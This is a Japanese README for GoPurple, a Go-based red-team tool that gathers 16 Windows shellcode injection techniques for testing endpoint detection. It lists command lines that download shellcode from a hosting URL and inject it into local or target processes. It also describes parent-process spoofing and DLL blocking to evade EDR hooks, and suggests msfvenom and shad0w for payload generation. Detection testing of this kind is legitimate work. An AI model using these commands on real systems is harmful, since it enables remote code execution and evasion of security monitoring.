このプロジェクトは、さまざまなシェルコードインジェクション手法を簡潔にまとめたもので、エンドポイント検出評価のプロセスを効率化することを目的としています。また、自分自身にGolangの世界に飛び込むという挑戦も含まれています。
1 - go のインストールが必要です。
2 - プロジェクトのディレクトリからアプリケーションをビルドします: go build。ビルドシステムがWindowsでない場合は、GOOS=windows を設定してください。
_____ _
/ ____| | |
| | __ ___ _ __ _ _ _ __ _ __ | | ___
| | |_ |/ _ \| '_ \| | | | '__| '_ \| |/ _ \
| |__| | (_) | |_) | |_| | | | |_) | | __/
\_____|\___/| .__/ \__,_|_| | .__/|_|\___|
| | | |
|_| |_| by @s3cdev
-a string
プログラムのコマンドライン引数
-b string
DLLブロックモード (QueueUserAPCの場合: nonms/onlystore)
-p int
シェルコードを注入するプロセスID
-prog string
注入先のプログラム
-t string
使用するシェルコードインジェクション手法:
1: CreateFiber
2: syscall
3: CreateThreadNative
4: CreateProcess
5: EtwpCreateEtwThread
6: CreateRemoteThread
7: RtlCreateUserThread
8: CreateThread
9: CreateRemoteThreadNative
10: CreateProcessWithPipe
11: QueueUserAPC
12: CreateThreadpoolWait
13: BananaPhone
14: EnumerateLoadedModules
15: EnumChildWindows
16: EnumPageFilesW
-u string
シェルコードをホストしているURL
シェルコードを生成する必要があります。これは msfvenom や shad0w などのツールを使用して行えます。次に、リモートマシンにダウンロードして実行できるようにシェルコードをホストする必要があります。 わかりやすくするために、以下のデモではツールのさまざまな使用方法を示しています。
1 - BananaPhone メソッド + Shad0w シェルコードジェネレーターを使用したシェルコードインジェクション

2 - QueueUserAPC テクニック + Shad0w シェルコードジェネレーター + 親IDの偽装(親IDにexplorerを使用)+ シェルコード(calc)を含む偽装された親によるプロセス起動 + プロセスを未署名DLLフックから保護(Microsoft署名済みDLLのみがプロセスにフック可能)

3 - CreateFiber + msfvenom シェルコードジェネレーターを使用したシェルコードインジェクション

1 - gopurple.exe -u urlhostingpayload -t 1 (CreateFiber)
2 - gopurple.exe -u urlhostingpayload -t 2 (Syscall)
3 - gopurple.exe -u urlhostingpayload -t 3 (CreateThreadNative)
4 - gopurple.exe -u urlhostingpayload -t 4 (CreateProcess)
5 - gopurple.exe -u urlhostingpayload -t 5 (EtwpCreateEtwThread)
6 - gopurple.exe -u urlhostingpayload -t 6 -p targetprocess (CreateRemoteThread)
7 - gopurple.exe -u urlhostingpayload -t 7 -p targetprocess (RtlCreateUserThread)
8 - gopurple.exe -u urlhostingpayload -t 8 (CreateThread)
9 - gopurple.exe -u urlhostingpayload -t 9 -p targetprocess (CreateRemoteThreadNative)
10 - gopurple.exe -u urlhostingpayload -t 10 -prog porgram -a processargument (例:C:\Windows\System32\WindowsPowerShell\v1.0) と processargument (例:Get-Process) (CreateProcessWithPipe)
11 - gopurple.exe -u urlhostingpayload -t 11 -p targetpidasparentprocess -prog programtoinjectshellcodeinto -b methodtoblockdll(nonms or onlystore) (QueueUserAPC)
nonms = Microsoftによって署名されたDLLのみがプロセスにフック可能
onlystore = Microsoft Storeアプリケーションのプロセスのみがプロセスにフック可能
12 - gopurple.exe -u urlhostingpayload -t 12 (CreateThreadpoolWait)
13 - gopurple.exe -u urlhostingpayload -t 13 (BananaPhone)
14- gopurple.exe -u urlhostingpayload -t 14 (EnumerateLoadedModules)
15- gopurple.exe -u urlhostingpayload -t 15 (EnumChildWindows)
16- gopurple.exe -u urlhostingpayload -t 16 (EnumPageFilesW)
すべての功績は、彼らの素晴らしい研究、ツール、そしてインスピレーションを提供してくれた以下の方々に帰属します。
ne0nd0g: このプロジェクトの大部分はgo-shellcodeから借用されています。
spotheplanet: ブログ記事 が、この手法をGolangに移植するきっかけを与えてくれました。
_d00mfist: GolangにおけるQueueUserAPC手法の素晴らしい実装。
c__sto: BananaPhone手法。
batsec: 素晴らしいshad0w。
chiragsavla94: ProcessInjection からインスピレーションを得ました。
S4R1N: 新しい代替コード実行手法の紹介について。
brimston3 のサポートと貢献に感謝します。
(https://github.com/Ne0nd0g/go-shellcode)
(https://github.com/D00MFist/Go4aRun)
(https://github.com/BishopFox/sliver)
(https://posts.specterops.io/going-4-a-run-eb263838b944)
(https://github.com/C-Sto/BananaPhone)
(https://blog.xpnsec.com/protecting-your-malware)
(https://github.com/3xpl01tc0d3r/ProcessInjection)
(https://github.com/S4R1N/AlternativeShellcodeExec)
このプロジェクトは教育および倫理的なテスト目的のみで作成されています。事前の相互同意なしにGoPurpleを使用してターゲットを攻撃することは違法です。エンドユーザーは、該当するすべての地域、州、連邦法を遵守する責任を負います。開発者は一切の責任を負わず、このプログラムの誤用や損害に対して責任を負いません。